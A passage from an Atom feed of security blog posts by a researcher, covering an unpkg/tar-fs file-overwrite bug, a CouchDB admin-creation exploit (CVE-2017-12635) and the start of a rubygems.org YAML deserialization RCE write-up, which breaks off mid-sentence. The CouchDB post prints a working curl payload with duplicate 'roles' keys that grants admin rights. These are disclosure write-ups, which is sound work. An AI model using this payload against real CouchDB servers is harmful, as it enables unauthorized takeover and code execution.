&lt;p&gt;And then we win! Since we can write (and overwrite) files anywhere that the webserver user is able to do so, we can overwrite files in the directories set aside for other packages, like &lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/unpkg-react-16.3.2/&lt;/code&gt;. To test this out, I made two versions of a package, and had the second version overwrite files in the first (it worked).&lt;/p&gt;

&lt;h2 id=&quot;a-worse-bug-than-i-thought&quot;&gt;A worse bug than I thought&lt;/h2&gt;
&lt;p&gt;Many tar implementations also support unpacking hardlinks. Since creating a hardlink to a directory is more often than not an &lt;a href=&quot;https://unix.stackexchange.com/a/22406&quot;&gt;invalid operation&lt;/a&gt;, I made a variant of my original exploit that would:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Make a hardlink &lt;code class=&quot;highlighter-rouge&quot;&gt;foo&lt;/code&gt; to a file I knew should exist and&lt;/li&gt;
  &lt;li&gt;Unpack a regular file named &lt;code class=&quot;highlighter-rouge&quot;&gt;foo&lt;/code&gt; with arbitrary contents&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Sure enough, &lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt; was vulnerable to this attack as well and would allow me to overwrite files as long as I had the proper permissions and knew where they lived on the filesystem.&lt;/p&gt;

&lt;p&gt;After reporting this variant of the original bug to the &lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt; maintainer, he got back to me the next morning sounding a little worried. Surprisingly, &lt;a href=&quot;https://www.npmjs.com/package/tar&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;node-tar&lt;/code&gt;&lt;/a&gt;, a much more popular tar library, was vulnerable to the hardlink variant. The &lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt; maintainer and I submitted a bug report and &lt;code class=&quot;highlighter-rouge&quot;&gt;node-tar&lt;/code&gt; was quickly patched as well.&lt;/p&gt;

&lt;p&gt;Oh, and if you ever need a textbook example of defense-in-depth doing its job, just remember that the only reason the npm client (which uses &lt;code class=&quot;highlighter-rouge&quot;&gt;pacote&lt;/code&gt; and thus &lt;code class=&quot;highlighter-rouge&quot;&gt;node-tar&lt;/code&gt;) wasn’t vulnerable to this attack was because a &lt;code class=&quot;highlighter-rouge&quot;&gt;pacote&lt;/code&gt; developer made the prescient decision to &lt;a href=&quot;https://github.com/zkat/pacote/blob/f148d647c05040d560326aa7ba9b219f1f7bf0d1/lib/extract-stream.js#L41&quot;&gt;never extract hardlinks or softlinks&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;How screwed are you and your users if your Javascript CDN starts serving malware? Completely? Then either host files yourself or use &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity&quot;&gt;subresource integrity&lt;/a&gt;. It lets you pin the cryptographic hash of whatever file you’re trying to load, protecting you from attacks like this in modern browsers.&lt;/p&gt;

&lt;p&gt;Thank you to the maintainers of &lt;a href=&quot;https://unpkg.com&quot;&gt;unpkg.com&lt;/a&gt;, &lt;a href=&quot;https://github.com/mafintosh/tar-fs&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt;&lt;/a&gt;, and &lt;a href=&quot;https://github.com/npm/node-tar&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;node-tar&lt;/code&gt;&lt;/a&gt; for resolving these vulnerabilities quickly.&lt;/p&gt;

&lt;h2 id=&quot;shameless-plug&quot;&gt;Shameless plug&lt;/h2&gt;

&lt;p&gt;If you’re interested in ditching #birdsite and want to use a social network that actually respects your freedoms, you should consider &lt;a href=&quot;https://joinmastodon.org/&quot;&gt;joining Mastodon&lt;/a&gt;! It’s a federated social network, meaning that it works in a distributed way sort of like email. Join us over in the fediverse and help us build a friendly security community!&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr unpkg.com is a pretty popular CDN for serving up assets from npm packages. I found a vulnerability in a tar implementation that allowed me to write arbitrary files onto the unpkg server, including into other packages. If exploited, this bug would have allowed an attacker to execute malicious Javascript on thousands of websites, including the homepages of PNC Bank, React.js, and the state of Nebraska. Don’t trust a third-party CDN – use subresource integrity and pin hashes!</summary></entry><entry><title type="html">Remote Code Execution in CouchDB</title><link href="/security/2017/11/14/couchdb-rce-npm.html" rel="alternate" type="text/html" title="Remote Code Execution in CouchDB" /><published>2017-11-14T00:00:00-08:00</published><updated>2017-11-14T00:00:00-08:00</updated><id>/security/2017/11/14/couchdb-rce-npm</id><content type="html" xml:base="/security/2017/11/14/couchdb-rce-npm.html">&lt;p&gt;tl;dr There was a vulnerability in CouchDB caused by a discrepancy between the database’s native JSON parser and the Javascript JSON parser used during document validation. Because CouchDB databases are meant to be exposed directly to the internet, this enabled privilege escalation, and ultimately remote code execution, on a large number of installations. &lt;del&gt;If it had been exploited, this bug could have allowed for the modification of arbitrary packages in the &lt;a href=&quot;https://registry.npmjs.org/&quot;&gt;npm registry&lt;/a&gt;.&lt;/del&gt; &lt;em&gt;[edit: I’m wrong, and the main npm registry is unaffected. See correction below. My bad!]&lt;/em&gt; &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635&quot;&gt;CVE-2017-12635&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Last time, I wrote about a deserialization bug leading to &lt;a href=&quot;/security/2017/10/07/rubygems-org-rce.html&quot;&gt;code execution on rubygems.org&lt;/a&gt;, a repository of dependencies for ruby programs. The ability to inject malware into upstream project dependencies is a scary attack vector, and one from which I doubt most organizations are adequately protected.&lt;/p&gt;

&lt;p&gt;With this in mind, I started searching for bugs in &lt;a href=&quot;https://registry.npmjs.org/&quot;&gt;registry.npmjs.org&lt;/a&gt;, the server responsible for distributing npm packages. According to &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;their homepage&lt;/a&gt;, the npm registry serves more than 3 billion (!) package downloads per week.&lt;/p&gt;

&lt;h2 id=&quot;couchdb&quot;&gt;CouchDB&lt;/h2&gt;

&lt;p&gt;The npm registry uses CouchDB, which I hadn’t heard of before this project. The basic idea is that it’s a “NoSQL” database that makes data replication very easy. It’s sort of like a big key-value store for JSON blobs (“documents”), with features for data validation, querying, and user authentication, making it closer to a full-fledged database. CouchDB is written in Erlang, but allows users to specify document validation scripts in Javascript. These scripts are automatically evaluated when a document is created or updated. They start in a new process, and are passed JSON-serialized documents from the Erlang side.&lt;/p&gt;

&lt;p&gt;CouchDB manages user accounts through a special database called &lt;code class=&quot;highlighter-rouge&quot;&gt;_users&lt;/code&gt;. When you create or modify a user in a CouchDB database (usually by doing a &lt;code class=&quot;highlighter-rouge&quot;&gt;PUT&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;/_users/org.couchdb.user:your_username&lt;/code&gt;), the server checks your proposed change with a Javascript &lt;code class=&quot;highlighter-rouge&quot;&gt;validate_doc_update&lt;/code&gt; function to ensure that you’re not, for example, attempting to make yourself an administrator.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB, called &lt;a href=&quot;https://github.com/apache/couchdb-jiffy&quot;&gt;jiffy&lt;/a&gt;. Check out how each one deals with duplicate keys on an object like &lt;code class=&quot;highlighter-rouge&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;baz&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;Erlang:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-erlang&quot; data-lang=&quot;erlang&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;jiffy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;baz&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;{[{&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},{&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;baz&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}]}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Javascript:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;{\&quot;foo\&quot;:\&quot;bar\&quot;, \&quot;foo\&quot;: \&quot;baz\&quot;}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;baz&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;For a given key, the Erlang parser will store both values, but the Javascript parser will only store the last one. Unfortunately, the getter function for CouchDB’s internal representation of the data will only return the &lt;em&gt;first&lt;/em&gt; value:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-erlang&quot; data-lang=&quot;erlang&quot;&gt;&lt;span class=&quot;c&quot;&gt;% Within couch_util:get_value 
&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;lists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;keysearch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;Key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And so, we can bypass all of the relevant input validation and create an admin user thusly:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops'
--data-binary '{
  &quot;type&quot;: &quot;user&quot;,
  &quot;name&quot;: &quot;oops&quot;,
  &quot;roles&quot;: [&quot;_admin&quot;],
  &quot;roles&quot;: [],
  &quot;password&quot;: &quot;password&quot;
}'
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;In Erlang land, we’ll see ourselves as having the &lt;code class=&quot;highlighter-rouge&quot;&gt;_admin&lt;/code&gt; role, while in Javascript land we appear to have no special permissions. Fortunately for the attacker, almost all of the important logic concerning authentication and authorization, aside from the input validation script, occurs the Erlang part of CouchDB.&lt;/p&gt;

&lt;p&gt;Now that we have an administrator account, we have complete control of the database. Getting a shell from here is usually easy since CouchDB lets you define custom &lt;code class=&quot;highlighter-rouge&quot;&gt;query_server&lt;/code&gt; languages through the admin interface, a feature which is basically just a wrapper around &lt;code class=&quot;highlighter-rouge&quot;&gt;execv&lt;/code&gt;. One funny feature of this exploit is that it’s slightly tricky to detect through the web GUI; if you try to examine the user we just created through the admin console, the &lt;code class=&quot;highlighter-rouge&quot;&gt;roles&lt;/code&gt; field will show up empty since it’s parsed in Javascript before being displayed!&lt;/p&gt;

&lt;h2 id=&quot;impact-on-npm&quot;&gt;Impact on npm&lt;/h2&gt;

&lt;p&gt;I’ve been trying to figure out exactly how npm was affected by this bug. Since I didn’t actually exploit the vulnerability against any of npm’s production servers, I have to make educated guesses about which parts of the infrastructure were vulnerable to which parts of the attack, based on publicly available information.&lt;/p&gt;

&lt;p&gt;&lt;del&gt;I am almost certain that &lt;a href=&quot;https://registry.npmjs.org&quot;&gt;registry.npmjs.org&lt;/a&gt; was vulnerable to the privilege escalation/admin account creation part of this attack, which would have allowed an attacker to modify packages. This is because user creation on npm is more or less identical to the vanilla CouchDB user creation flow. Then, after authenticating as our newly created admin user, the user context passed to subsequent validation scripts will have the &lt;code class=&quot;highlighter-rouge&quot;&gt;_admin&lt;/code&gt; role visible, allowing us to pass the &lt;a href=&quot;https://github.com/npm/npm-registry-couchapp/blob/6736cbb4c27007861d02d18911f48656675c3f98/registry/validate_doc_update.js#L271&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;isAdmin&lt;/code&gt; check in one of the registry’s validation docs&lt;/a&gt;. That said, as far as I can tell &lt;a href=&quot;https://github.com/npm/npm-registry-couchapp/blob/6736cbb4c27007861d02d18911f48656675c3f98/registry/rewrites.js&quot;&gt;from what’s on Github&lt;/a&gt;, their production server doesn’t provide a route to the administrator’s configuration API, meaning I’m not sure if the bug could have enabled RCE on that server.&lt;/del&gt; &lt;em&gt;[edit: It turns out that &lt;a href=&quot;https://registry.npmjs.org&quot;&gt;registry.npmjs.org&lt;/a&gt; simply exposes an identical API to the CouchDB user creation flow in order to maintain backwards compatibility with old clients. It has been using a &lt;a href=&quot;http://blog.npmjs.org/post/167524001790/couchdb-vulnerabilities-and-the-npm-registry&quot;&gt;custom authentication system since early 2015&lt;/a&gt;, and is therefore not vulnerable to my attack. The skim database mentioned below was affected by the bug, however. I apologize for being completely wrong in the initial version of this blog post!]&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Npm also exposes a &lt;a href=&quot;https://skimdb.npmjs.com/&quot;&gt;“skim database”&lt;/a&gt; which &lt;em&gt;does&lt;/em&gt; look like it would have been vulnerable to the RCE part of the attack, but it’s unclear to me how that database is used in the infrastructure today. There’s a &lt;a href=&quot;http://blog.npmjs.org/post/75707294465/new-npm-registry-architecture&quot;&gt;blog post from 2014&lt;/a&gt; which indicates that all writes go to the skimdb, but I don’t know if this is still true.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;It’s probably a bad idea to use more than one parser to process the same data. If you have to, perhaps because your project uses multiple languages like in CouchDB, do your best to ensure that there aren’t any functional differences between the parsers like there were here. It’s unfortunate that the JSON standard &lt;a href=&quot;https://stackoverflow.com/questions/21832701/does-json-syntax-allow-duplicate-keys-in-an-object/21833017#21833017&quot;&gt;does not specify the behavior of duplicate keys&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Thanks to the CouchDB team for having a published security@ email address and working quickly to get this fixed.&lt;/p&gt;

&lt;h2 id=&quot;shameless-plug&quot;&gt;Shameless plug&lt;/h2&gt;

&lt;p&gt;If you’re interested in ditching #birdsite and want to use a social network that actually respects your freedoms, you should consider &lt;a href=&quot;https://joinmastodon.org/&quot;&gt;joining Mastodon&lt;/a&gt;! It’s a federated social network, meaning that it works in a distributed way sort of like email. Join us over in the fediverse and help us build a friendly security community!&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr There was a vulnerability in CouchDB caused by a discrepancy between the database’s native JSON parser and the Javascript JSON parser used during document validation. Because CouchDB databases are meant to be exposed directly to the internet, this enabled privilege escalation, and ultimately remote code execution, on a large number of installations. If it had been exploited, this bug could have allowed for the modification of arbitrary packages in the npm registry. [edit: I’m wrong, and the main npm registry is unaffected. See correction below. My bad!] CVE-2017-12635</summary></entry><entry><title type="html">Remote Code Execution on rubygems.org</title><link href="/security/2017/10/07/rubygems-org-rce.html" rel="alternate" type="text/html" title="Remote Code Execution on rubygems.org" /><published>2017-10-07T00:00:00-07:00</published><updated>2017-10-07T00:00:00-07:00</updated><id>/security/2017/10/07/rubygems-org-rce</id><content type="html" xml:base="/security/2017/10/07/rubygems-org-rce.html">&lt;p&gt;tl;dr Remote code execution via a deserialization vulnerability on &lt;a href=&quot;https://rubygems.org/&quot;&gt;rubygems.org, a very popular hosting service for ruby dependencies&lt;/a&gt;. A fix was rolled out quickly. &lt;a href=&quot;http://blog.rubygems.org/2017/10/09/unsafe-object-deserialization-vulnerability.html&quot;&gt;Read the official announcement here.&lt;/a&gt; &lt;a href=&quot;https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0903&quot;&gt;CVE-2017-0903&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you have ever written a ruby application, it is very likely that you have interacted with rubygems.org. You’ve probably even trusted that site to run arbitrary programs on your computer. When you run, for example, &lt;code class=&quot;highlighter-rouge&quot;&gt;gem install rails&lt;/code&gt;, the &lt;code class=&quot;highlighter-rouge&quot;&gt;gem&lt;/code&gt; utility fetches the &lt;code class=&quot;highlighter-rouge&quot;&gt;rails&lt;/code&gt; gem and all of its dependencies from rubygems.org, and installs everything into the appropriate places. Anyone can publish gems there after making an account.&lt;/p&gt;

&lt;p&gt;Rubygems.org is &lt;a href=&quot;https://github.com/rubygems/rubygems.org&quot;&gt;itself a rails application&lt;/a&gt; with a clearly laid out &lt;a href=&quot;https://hackerone.com/rubygems&quot;&gt;responsible disclosure policy&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;Ruby gems are actually just tar archives, so running &lt;code class=&quot;highlighter-rouge&quot;&gt;tar -xvf foo.gem&lt;/code&gt; will ordinarily leave you with three files:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;metadata.gz
data.tar.gz
checksums.yaml.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;These files are pretty much what they look like. All are gzipped. &lt;code class=&quot;highlighter-rouge&quot;&gt;metadata.gz&lt;/code&gt; contains a YAML file with information about the gem like its name, author, version, and so on. &lt;code class=&quot;highlighter-rouge&quot;&gt;data.tar.gz&lt;/code&gt; contains another tar archive with all the source code. &lt;code class=&quot;highlighter-rouge&quot;&gt;checksums.yaml.gz&lt;/code&gt; contains a YAML file with some cryptographic hashes of the gem’s contents.&lt;/p&gt;

&lt;p&gt;I was surprised to learn that parsing untrusted YAML is &lt;a href=&quot;https://www.sitepoint.com/anatomy-of-an-exploit-an-in-depth-look-at-the-rails-yaml-vulnerability/&quot;&gt;dangerous&lt;/a&gt;. I had always figured it was a benign interchange format like JSON. In fact, YAML allows for the encoding of arbitrary objects, much like &lt;a href=&quot;https://docs.python.org/2/library/pickle.html&quot;&gt;python’s pickle&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When you upload a gem to rubygems.org, the application calls &lt;code class=&quot;highlighter-rouge&quot;&gt;Gem::Package.new(body).spec&lt;/code&gt;. The &lt;code class=&quot;highlighter-rouge&quot;&gt;rubygems&lt;/code&gt; gem, where this method lives, uses unsafe calls to &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.load&lt;/code&gt; to load the YAML files in the gem.&lt;/p&gt;

&lt;p&gt;However, the authors of rubygems.org knew this (probably as a result of &lt;a href=&quot;https://docs.google.com/document/d/10tuM51VKRcSHJtUZotraMlrMHWK1uXs8qQ6Hmguyf1g/edit#heading=h.vklh7bga5mlq&quot;&gt;this incident&lt;/a&gt;), and as of 2013 were &lt;a href=&quot;https://github.com/rubygems/rubygems.org/commit/334bff6beb072f17c252dee97a03b5c7b81aef02#diff-61d2ac84a9d683aaee31dfc7bec7e8c0&quot;&gt;monkey-patching the YAML and gem parsing libraries&lt;/a&gt; to only allow the deserialization of a whitelist of classes, eventually &lt;a href=&quot;https://github.com/rubygems/rubygems.org/commit/63bb533ffc3543f4aab049d3af4f83b606442044#diff-61d2ac84a9d683aaee31dfc7bec7e8c0&quot;&gt;switching to using &lt;code class=&quot;highlighter-rouge&quot;&gt;Psych.safe_load&lt;/code&gt; in 2015&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Unfortunately, the monkey-patching was insufficient, since it only patched the &lt;code class=&quot;highlighter-rouge&quot;&gt;Gem::Specification#from_yaml&lt;/code&gt; method. If we check out what actually happens in that call to &lt;code class=&quot;highlighter-rouge&quot;&gt;#spec&lt;/code&gt;, we see that it calls &lt;code class=&quot;highlighter-rouge&quot;&gt;#verify&lt;/code&gt;, the important parts of which are reproduced below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
  &lt;span class=&quot;vi&quot;&gt;@gem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_read_io&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;Gem&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Package&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;TarReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;read_checksums&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;verify_files&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;verify_checksums&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@digests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@checksums&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then, in &lt;code class=&quot;highlighter-rouge&quot;&gt;#read_checksums&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;Gem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load_yaml&lt;/span&gt;

  &lt;span class=&quot;vi&quot;&gt;@checksums&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'checksums.yaml.gz'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;Zlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;GzipReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;wrap&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gz_io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;no&quot;&gt;YAML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gz_io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# oops&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;OK, so we have a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.load&lt;/code&gt; with input that we control. How can we exploit it? Originally I attempted to have my exploit code run at the time of the &lt;code class=&quot;highlighter-rouge&quot;&gt;YAML.load&lt;/code&gt; call itself. This turned out to be more challenging than I had anticipated, because although I could deserialize arbitrary objects, the only actual method calls I could make on those objects were very limited. Psych, the YAML parsing library used here, would let me make calls to methods like &lt;code class=&quot;highlighter-rouge&quot;&gt;#[]=&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;#init_with&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;#marshal_load&lt;/code&gt; (not &lt;code class=&quot;highlighter-rouge&quot;&gt;Marshal.load&lt;/code&gt;; that would have made exploitation much easier). But for most objects, those methods don’t give an attacker much flexibility, since common practice is for them to just initialize a couple variables and return. It seems plausible that there is some object in some standard rails library with a dangerous &lt;code class=&quot;highlighter-rouge&quot;&gt;#[]=&lt;/code&gt; method (as there &lt;a href=&quot;https://github.com/ruby/psych/issues/119#issuecomment-12205768&quot;&gt;have been in the past&lt;/a&gt;), but I didn’t find 